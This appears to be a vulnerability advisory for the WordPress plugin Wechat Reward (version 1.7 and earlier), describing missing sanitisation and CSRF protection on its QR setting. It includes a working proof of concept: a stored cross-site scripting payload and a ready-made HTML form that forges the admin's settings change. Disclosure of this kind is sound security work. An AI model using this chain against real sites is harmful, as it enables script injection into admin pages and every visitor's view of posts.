Lucene search

K
wpexploitTymWPEX-ID:9D48313B-76D7-4252-9B81-2FDD0373561B
HistorySep 20, 2021 - 12:00 a.m.

Wechat Reward <= 1.7 - CSRF to Stored Cross-Site Scripting

2021-09-2000:00:00
tym
361

0.001 Low

EPSS

Percentile

21.8%

The plugin does not sanitise or escape its QR settings, nor has any CSRF check in place, allowing attackers to make a logged in admin change the settings and perform Cross-Site Scripting attacks.

Put the following payload in the QR setting: "><script>alert(/XSS/)</script>

The XSS will be triggered in the plugin's setting page, as well as all frontend posts.

via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=upload_wechat_QR" method="POST">
      <input type="hidden" name="wechatQR" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

21.8%

Related for WPEX-ID:9D48313B-76D7-4252-9B81-2FDD0373561B